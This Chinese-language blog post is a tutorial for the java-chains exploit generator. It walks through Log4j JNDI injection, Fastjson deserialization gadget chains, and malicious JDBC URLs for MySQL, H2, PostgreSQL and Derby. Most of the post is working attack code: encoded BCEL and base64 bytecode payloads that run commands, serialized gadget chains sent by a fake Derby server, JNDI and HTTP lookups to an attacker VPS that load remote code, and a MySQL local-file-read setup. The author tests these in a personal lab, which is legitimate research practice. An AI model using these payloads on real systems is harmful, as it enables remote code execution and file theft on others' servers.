偶然在github上看到java-chains,感觉蛮不错的,但是就是对新手不太友好,特此记录一下自己的探索过程。
安装方式有两种,官方文档写得很清楚,这里不再赘述。
https://github.com/vulhub/java-chains
https://java-chains.vulhub.org/zh/docs/guide
java-chains支持很多利用链,具体可以去查看官方文档。
后面我会用一些常用链来演示java-chains的使用方法。
JNDI
以 log4j2为例,log4j2版本选择2.14.0,小于2.14.1都可以
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.14.0</version>
</dependency>
info触发
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class lookUp {
private static final Logger logger = LogManager.getLogger(lookUp.class);
public static void main(String[] args) {
logger.info("${jndi:ldap://127.0.0.1:1079/a}");
}
}
jdk低版本
jdk版本小于8u191都行,没有限制ldap和rmi的远程字节码加载
然后再来说java-chains如何生成jndi的payload
首先需要来到jndi Control面板,把Reverse IP改为自己vps的IP,本地搭建的也建议不要用127.0.0.1,换一个其他网卡的IP
如果更改不了,就先点击关闭,然后修改Reverse IP,再启动就可以了(就这个坑我浪费了有半天时间,不先点关闭的话,改了之后就会发现没改上,还是127.0.0.1,之后发现是如果你在修改IP之前就点击生成过exp,这时候ldap服务就会自动启动,必须先点关闭才能改)

改好之后来到JNDIBasicPayload
默认选择第一个远程加载字节码,然后通常选择exec

要执行的命令在下面,展开即可,默认calc,然后点击生成。

请求刚刚生成的payload,成功执行

jdk高版本
jdk高版本大于8u191都可以,高版本的jdk对jndi有限制,需要设置TrustUrlCodeBase为true才行,但可以通过其他组件寻找其他利用链。
高版本的绕过可以参考浅蓝师傅的文章,这里我只演示部分。
java-chains能够生成fuzz payload,一键测试常规利用链,通过查看dnslog记录,生成可利用的链。官方文档也提到过,非常详细。
由于没有搭建web环境,这里就直接用info循环触发。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class lookUp {
private static final Logger logger = LogManager.getLogger(lookUp.class);
public static void main(String[] args) {
String[] jndiPayloads = {
"ldap://x.x.x.x:50389/abf5f9",
"ldap://x.x.x.x:50389/b16e1a",
"ldap://x.x.x.x:50389/225541",
"ldap://x.x.x.x:50389/034223",
"ldap://x.x.x.x:50389/25071b",
.....
};
for (String payload : jndiPayloads) {
logger.info("${jndi:" + payload + "}");
}
}
}
我在pom.xml里面添加了Groovy,snakeyaml,ELProcessor,mvel2依赖,检测java-chains的爆破链能否fuzz出这三个依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.9</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.23</version>
</dependency>
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>
可以看到识别出了snakeyaml

Groovy

ELProcessor

mvel2不清楚为啥没有探测到,可能是bug,已经提了issue
ELProcessor
找到EL链并生成payload

成功执行

Groovy
根据dnslog,选择Groovy2Convert或GroovyConvert都可以

成功执行

snakeyaml
选择远程加载jar包

这里需要填写恶意jar包,可以使用github上现成的
https://github.com/artsploit/yaml-payload
克隆下来记得改一下执行命令,改完后打包一下就行
vim yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
成功执行

mvel2
选择对应payload

成功执行

Fastjson
这里只对java-chains里面存在的链子进行复现。复现的环境使用的是github上的一位师傅的环境
https://github.com/safe6Sec/ShiroAndFastJson
BCEL-tomcat-dbcp
测试环境:
1.jdk8版本小于等于8u191
2.fastjson版本1.2.33 – 1.2.47
3.tomcat-dbcp <= 7.0.109
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>7.0.47</version>
</dependency>
payload选择Generate–>fastjsonPayload,然后选择bcel字节码加载

在下面还可以选择fastjson对应版本和对应依赖

将生成的payload进行json解析
package fastjsonGadget;
import com.alibaba.fastjson.JSON;
public class FastJsonExample {
public static void main(String[] args) {
String PoC = "{\n" +
" \"name\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"\n" +
" },\n" +
" \"x1\": {\n" +
" \"name\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"x2\": {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x3\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$dbR$TA$Q$3d$93$y$ec$sl$U$97$ab$e0$N$_$98$80$b0$40$W$88$82$60A$e9$83$Vo$b5$WT$f4i$b2$Z$c2b$b2$Tw$H$81w$7f$c2$_$e0$Z$a8$CKJ$3f$c0o$b2$d4$de$40$89$vx$99$9e$ee$d3$d3$7dN$f7$fc$fc$fd$ed$H$80$v$3ca$f0dX$b5y$83$7b$eb$c2$8e$d6$fdP$da$9e$dc$91J$d8$h$91$M$9e$c9$b0$ce$d5$8a$l$f9J$86$91$fd$9cBKR$d6$EoE$f2k$b3N$7er$86O$3a$c2q$b8$98$v$88$e9$7c$a5Rp$f8Z$c1q$9c$d9i$j$8c$a1s$83$7f$e2v$8d$HU$fbUyCxJG$92A$x$f3H0X$c53$d4U$a1$lT$e7$Y$92$91h$d0$e9$d5$x$M$ed$f3$7e$e0$ab$Fr$b3$b9$V$86$ae$b3$f4$a7$db$9eh$u_$G$3a$3aL$a4$90NCC$86A$97$d1x$c0$eb$c2$c0$e5$96$e6$eeN$a4D$5d$c7$V$86$8e$aaP$afC$d9$Q$a1$daa$Y$ce$9e$t$91$3b$l2$d1$85$ee4$y$f4$b4$96m$a2$3a$fa$a8$ac$92E$b9$r$c2$e5$a6$b4$ee$ec$85E$aeb$m$8d$7e$M$92$a2$z$3f0p$9d$c1$f0d$a0$b8$lD$M$83$ffsY$5e$e7$a1$x$3en$8a$c0$Ts$b9w$sn$e2V$fcv$88D$d2p$c6$c56$89$bcc$a2$N$ed$v$qp$8f$na$7b$G$ee$9b$d0O$o9J$b4$cb$7e$40$L60J$f0$Y$c1c$s$8c$T$d8f$e8$3f$ebF$D$f1D$U$zm$fa$b5$8a$IuL2$f4f$df_0$9a$95x$da$f94$7d$p$87$a1$zR$3cT$M$3d$zjOk$91$dc$Z$cc$c6$99$FR9$ef$d5Nw$a9y$bcFL$e6$d2D$826$a6$z$cb$K$N$y$e3$w$ee$7dx$c1$hoy$b9$s0D$a0F$bf5I$ddH$n$ddR$b1$ae$a65$9a6$B$W$ef$9d$ce$F$f2$3eSv$82$ac$3br$84KV$e7W$f4$k$e2$9au$e3$Q$b7$bf$a0$d3$ba$7b$80a$x$7b$80$91$5dd$ac$H$b13NN$fbw$f4$97$92$fb$YvK$da$3eF$dcR$db$3e$s$dc$e21$a6J$a3G$98$3e$c4$c3$d5$5dh$c5$3dj$a1$e1$r$de$c0$a4$db$o5$e9$83$f6$87$Y2$3dn$99$S$3a$cc_$mv$g1$7b$f4$8f$d1$40$93$P$88$cd$fc$B$s$8e$91$u$j$e1$f1$ea$5e3$86$bfi$c9$H3$8c$D$A$A\",\n" +
" \"$ref\": \"$.x1.x2.x3.connection\"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(PoC);
}
}
成功执行

BCEL-Mybatis
测试环境:
1.jdk8版本小于等于8u191
2.fastjson版本1.2.33 – 1.2.47
3.mybatis(具体版本范围不清楚,我这里用的是3.5.11)
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>
payload选择mybatis

成功执行

但BCEL-Mybatis字节码加载无法解决当fastjson版本处于1.2.25 – 1.2.32之间的问题,我在复现mybatis链子时发现了这位师傅的文章。
https://www.anquanke.com/post/id/283079
他给出了一个解决方法,首先第一次请求使用java.lang.Class将所有利用类加入到mapping中,第二次请求将UnpooledDataSource放到list的第一位,再调用getter实现RCE。payload如下:
js = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},"+
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\"},"+
"]";
System.out.println(js);
JSON.parse(js);
js = "["+
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\", \"driverClassLoader\":{\"$ref\":\"$[1]\"}, \"driver\":\"$$BCEL$$...\"},"+
"{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\"\":\"\"},"+
"{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"connection\":{}},"+
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"driver\":{\"$ref\":\"$.connection\"}}"+
"]";
System.out.println(js);
JSON.parse(js);
web复现,分两段发

C3P0
测试环境:
1.jdk版本无限制(我测试环境用的8u401可以)
2.fastjson版本<=1.2.47
3.c3p0依赖(具体版本范围不清楚,我这里用的是0.9.5.2)
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
这里的CB链子的选择上要注意,查看自己测试环境上的CB版本是多少,如果是1.8.3的,是用不了CB1和CB5两条链的

成功执行

Groovy
测试环境:
1.jdk版本无限制(我测试环境用的8u401可以)
2.fastjson版本1.2.76 <= fastjson < 1.2.83
3.groovy依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.12</version>
</dependency>
payload选择groovy

jar包生成参考
https://github.com/Lonely-night/fastjsonVul
打包成功后用python起一个http,jar包路径填上即可,成功触发

H2jdbc
测试环境:
1.jdk版本无限制(我测试环境用的8u401可以)
2.fastjson版本<=1.2.47
3.H2jdbc依赖
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.220</version>
</dependency>
这里fastjson的版本我很疑惑,因为java-chains里面写的<=1.2.61,但是我实测出来只能在1.2.47以及之后的版本中可以,高于1.2.47不仅需要开启autotype,也需要将org.h2.jdbcx.JdbcDataSource和java.lang.Class类加入白名单才可以成功触发利用链。
java-chains中payload选择FastjsonH2Jdbc–>BytecodeConvert–>Exec
同时还需要注意的是,图中的 }:和{}之间不要有空格

java-chains在生成exp时就会有空格,导致JSON.parse反序列化不成功。经测试,除了使用JSON.toJSONString(JSON.parse(PoC));和System.out.println(JSON.parse(PoC));这两个可以执行外,其他都无法触发利用链。所以最好还是删除空格,这样都可以触发。

JdbcRowSetImpl
这条链是最常见的,主要是不依赖任何库
测试环境:
1.jdk版本小于8u191
2.fastjson版本<=1.2.47
java-chains中选择JdbcRowSetImpl这条链点击生成即可。生成好之后在dataSourceName处修改jndi路径,jndi用java-chains生成,选择基础payload即可。

Mysqljdbc
主要复现一下5.1和8.0版本的,6.x版本的mysql感觉很冷门没啥人用。当然还有一些ssrf的链,但是java-chains中没有,就不再复现了。
在这里选择mysql版本,点击生成即可。

开启FakeMysql,会生成用户名

mysql 5.1
mysql版本5.1.11-5.1.48
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.47</version>
</dependency>
将host和username填入就行

mysql 8.0
Java-chains选择mysql 8.0的链子,mysql版本8.0.19
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
成功触发

JDBC
H2
h2database的jdbc在chains中有很多个,其中需要注意的是H2JavaJdbc1和远程加载sql这两个payload

H2JavaJdbc1
生成的H2JavaJdbc1无法成功执行命令,已经提了issues
https://github.com/vulhub/java-chains/issues/24
gmini给出的修正payload如下
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS a_Lj AS '@SuppressWarnings("unchecked")String shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\;String tomcatStr="yv66vgAAADIAQAEAaG9yZy9hcGFjaGUvYmVhbnV0aWxzL2NveW90ZS9kZXNlcmlhbGl6YXRpb24vaW1wbC9CZWFuQXNBcnJheURlc2VyaWFsaXplcmZkMWMwZWNjODU0ZDQ1ZmJhOGY0YzQ4MzgwODYxNDlhBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABGJhc2UBABJMamF2YS9sYW5nL1N0cmluZzsBAANzZXABAANjbWQBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwALDAAJAAoKAAQADQEAB29zLm5hbWUIAA8BABBqYXZhL2xhbmcvU3lzdGVtBwARAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAEwAUCgASABUBABBqYXZhL2xhbmcvU3RyaW5nBwAXAQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAGQAaCgAYABsBAAN3aW4IAB0BAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAHwAgCgAYACEBAAdjbWQuZXhlCAAjDAAFAAYJAAIAJQEAAi9jCAAnDAAHAAYJAAIAKQEABy9iaW4vc2gIACsBAAItYwgALQwACAAGCQACAC8BABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHADEBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJADMKADIANAEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAA2ADcKADIAOAEACDxjbGluaXQ+AQAEY2FsYwgAOwoAAgANAQAEQ29kZQEADVN0YWNrTWFwVGFibGUAIQACAAQAAAADAAkABQAGAAAACQAHAAYAAAAJAAgABgAAAAIAAQAJAAoAAQA+AAAAhAAEAAIAAABTKrcADhIQuAAWtgAcEh62ACKZABASJLMAJhIoswAqpwANEiyzACYSLrMAKga9ABhZA7IAJlNZBLIAKlNZBbIAMFNMuwAyWSu3ADW2ADlXpwAETLEAAQAEAE4AUQAMAAEAPwAAABcABP8AIQABBwACAAAJZQcADPwAAAcABAAIADoACgABAD4AAAAaAAIAAAAAAA4SPLMAMLsAAlm3AD1XsQAAAAAAAA=="\;try {java.lang.Class base64 = java.lang.Class.forName("java.util.Base64")\;java.lang.Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0])\;standBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, tomcatStr)\;} catch (java.lang.Exception var6) {java.lang.Class base64 = java.lang.Class.forName("sun.misc.BASE64Decoder")\;java.lang.Object decoder = base64.newInstance()\;standBytes = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, tomcatStr)\;}java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class)\;defineClassMethod.setAccessible(true)\;java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),standBytes,0,standBytes.length)\;myclass.newInstance()\;return "test"\;}'\;CALL a_Lj('123')
可以执行

H2RemoteJdbc
这个payload需要一个sql文件,内容就是INIT=后面的内容,因为INIT后面跟的就是sql语句。
同时还需要加上分号以及去掉所有转义符,比如刚刚的H2JavaJdbc1转换为sql文件就应该是
CREATE ALIAS a_Lj AS '
@SuppressWarnings("unchecked")
String shellexec(String abc) throws java.lang.Exception {
byte[] standBytes = null;
String tomcatStr = "yv66vgAAADIAQAEAaG9yZy9hcGFjaGUvYmVhbnV0aWxzL2NveW90ZS9kZXNlcmlhbGl6YXRpb24vaW1wbC9CZWFuQXNBcnJheURlc2VyaWFsaXplcmZkMWMwZWNjODU0ZDQ1ZmJhOGY0YzQ4MzgwODYxNDlhBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABGJhc2UBABJMamF2YS9sYW5nL1N0cmluZzsBAANzZXABAANjbWQBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwALDAAJAAoKAAQADQEAB29zLm5hbWUIAA8BABBqYXZhL2xhbmcvU3lzdGVtBwARAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAEwAUCgASABUBABBqYXZhL2xhbmcvU3RyaW5nBwAXAQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAGQAaCgAYABsBAAN3aW4IAB0BAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAHwAgCgAYACEBAAdjbWQuZXhlCAAjDAAFAAYJAAIAJQEAAi9jCAAnDAAHAAYJAAIAKQEABy9iaW4vc2gIACsBAAItYwgALQwACAAGCQACAC8BABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHADEBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJADMKADIANAEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAA2ADcKADIAOAEACDxjbGluaXQ+AQAEY2FsYwgAOwoAAgANAQAEQ29kZQEADVN0YWNrTWFwVGFibGUAIQACAAQAAAADAAkABQAGAAAACQAHAAYAAAAJAAgABgAAAAIAAQAJAAoAAQA+AAAAhAAEAAIAAABTKrcADhIQuAAWtgAcEh62ACKZABASJLMAJhIoswAqpwANEiyzACYSLrMAKga9ABhZA7IAJlNZBLIAKlNZBbIAMFNMuwAyWSu3ADW2ADlXpwAETLEAAQAEAE4AUQAMAAEAPwAAABcABP8AIQABBwACAAAJZQcADPwAAAcABAAIADoACgABAD4AAAAaAAIAAAAAAA4SPLMAMLsAAlm3AD1XsQAAAAAAAA==";
try {
java.lang.Class base64 = java.lang.Class.forName("java.util.Base64");
java.lang.Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
standBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, tomcatStr);
} catch (java.lang.Exception var6) {
java.lang.Class base64 = java.lang.Class.forName("sun.misc.BASE64Decoder");
java.lang.Object decoder = base64.newInstance();
standBytes = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, tomcatStr);
}
java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
java.lang.Class myclass = (java.lang.Class) defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), standBytes, 0, standBytes.length);
myclass.newInstance();
return "test";
}
';
CALL a_Lj('123');
写好sql后开一个python http,然后chains生成payload,成功执行

其他链在不同环境下都可以执行
MySQL
该反序列化漏洞适用于mysql jdbc url可控,均可测试该漏洞
mysql5.1.11-5.x.xx RCE
mysql-connector依赖
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.47</version>
</dependency>
首先开启fakemysql,然后Java-chains中选择mysql jdbc的payload,填入fakemysql的用户以及ip:port

模拟mysql jdbc连接
package JDBC;
import java.sql.*;
public class JDBCRce {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://x.x.x.x:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=d247fc1";
Connection conn = DriverManager.getConnection(DB_URL);
}
}
成功反序列化

mysql8.x-8.0.19 RCE
mysql-connector依赖
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
同样开启fakemysql,选择8.0.20的payload

测试,注意这里的driver类是com.mysql.cj.jdbc.Driver
package JDBC;
import java.sql.*;
public class JDBCRce {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://x.x.x.x:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=da68652";
Connection conn = DriverManager.getConnection(DB_URL);
}
}

mysql8.x FileRead
使用最新版本8.0.33,不关闭allowLoadLocalInfile的情况下
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.33</version>
</dependency>
填写文件读取路径

payload类型选择read

查看日志,可以发现读取成功了

不出网利用
chains针对不出网的情况也做了考虑,BuildPipeFile模块提供mysql的pipe恶意流文件,上传服务器,进行不出网利用,数据库为test,用户名默认mysql,可自己设置。
利用条件:
1.可上传或访问恶意流文件(不一定是.pcap后缀)
2.知道恶意流文件的相对路径或绝对路径(可以使用../)

在这里选择mysql版本,漏洞版本和MySQL jdbc反序列化漏洞相同。

生成payload后进行base64解码,然后保存至output.pcap文件

成功执行

这篇文章介绍了在spring环境下的其他不依赖文件上传漏洞的MySQL jdbc利用方式
https://blog.csdn.net/anquan2233/article/details/148092061
Postgresql
CVE-2022-21724
9.4.1208 <= org.postgresql:postgresql < 42.2.25
42.3.0 <= org.postgresql:postgresql < 42.3.2
依赖如下,该漏洞需要spring依赖,因此在spring框架下更容易成功
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.24</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.30</version>
</dependency>
首先创建一个bean.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
然后python3 -m http.server 8081启一个http server

选择payload,填入刚刚python启动的http server


测试代码
import java.sql.Connection;
import java.sql.DriverManager;
public class pgSQLJDBC {
public static void main(String[] args) throws Exception {
String url = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://x.x.x.x:8081/bean.xml";
Connection conn = DriverManager.getConnection(url);
}
}
Derby
chains对derby的支持似乎并不太好,不知道是我不会用还是怎么的,会一直报错。所以这里记一下如何手动利用
关于derby,它有两个驱动,一个是客户端模式ClientDriver,一个是内嵌模式Embedded Driver。客户端模式只支持这样的格式
jdbc:derby://<host>:<port>/<dbname>
而chains以及网上所有流传的RCE都是基于内嵌模式,目前我只找到了一种利用方式slave远程反序列化,chains里面的jar包的payload目前还不清楚如何利用
首先需要执行这条语句jdbc:derby:dbname;create=true,先新建数据库,再使用slave远程反序列化的payload
jdbc demo
public static void main(String[] args) throws Exception {
Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
//Connection conn = DriverManager.getConnection("jdbc:derby:dbname;create=true");
String DB_URL = "jdbc:derby:dbname;startMaster=true;slaveHost=x.x.x.x;slavePort=4445";
Connection conn = DriverManager.getConnection(DB_URL);
conn.close();
}
fake derby
可以根据不同的依赖打不同的链,vps上运行该java代码,运行后会监听在4445端口
package JDBC;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;
import java.util.concurrent.TimeUnit;
public class DerbyEvalServer {
public static void main(String[] args) throws Exception {
int port = 4445;
ServerSocket server = new ServerSocket(port);
Socket socket = server.accept();
//CB1.8
String evil="rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAJSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAAZX2FjY2Vzc0V4dGVybmFsU3R5bGVzaGVldHEAfgAETAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wB0AANhbGxwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAA7/K/rq+AAAAMgBCAQBQb3JnL2FwYWNoZS9zaGlyby9jb3lvdGUvc2VyL3N0ZC9OdW1iZXJTZXJpYWxpemVyN2M4NTEyZGI1NTk2NGI5ZDg3YjkwYmZjYzg4NmJmZGIHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAEYmFzZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA3NlcAEAA2NtZAEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAsMAAkACgoABAANAQAHb3MubmFtZQgADwEAEGphdmEvbGFuZy9TeXN0ZW0HABEBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAATABQKABIAFQEAEGphdmEvbGFuZy9TdHJpbmcHABcBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAZABoKABgAGwEAA3dpbggAHQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDAAfACAKABgAIQEAB2NtZC5leGUIACMMAAUABgkAAgAlAQACL2MIACcMAAcABgkAAgApAQAHL2Jpbi9zaAgAKwEAAi1jCAAtDAAIAAYJAAIALwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAMQEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAAkAMwoAMgA0AQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsMADYANwoAMgA4AQAQamF2YS9sYW5nL09iamVjdAcAOgEACDxjbGluaXQ+AQAEY2FsYwgAPQoAAgANAQAEQ29kZQEADVN0YWNrTWFwVGFibGUAIQACAAQAAAADAAkABQAGAAAACQAHAAYAAAAJAAgABgAAAAIAAQAJAAoAAQBAAAAAhAAEAAIAAABTKrcADhIQuAAWtgAcEh62ACKZABASJLMAJhIoswAqpwANEiyzACYSLrMAKga9ABhZA7IAJlNZBLIAKlNZBbIAMFNMuwAyWSu3ADW2ADlXpwAETLEAAQAEAE4AUQAMAAEAQQAAABcABP8AIQABBwACAAAJZQcADPwAAAcAOwAIADwACgABAEAAAAAaAAIAAAAAAA4SPrMAMLsAAlm3AD9XsQAAAAAAAHB0ACQ2ZTBhODczMi1lOWE2LTQzN2UtYmEyNi1lN2U0ZDZiMDQ5NjVwdwEAeHEAfgAOeA==";
byte[] decode = Base64.getDecoder().decode(evil);
// 直接向 socket 中写入
socket.getOutputStream().write(decode);
socket.getOutputStream().flush();
Thread.sleep(TimeUnit.SECONDS.toMillis(5));
socket.close();
server.close();
}
}
启动后使用刚刚的demo去连接
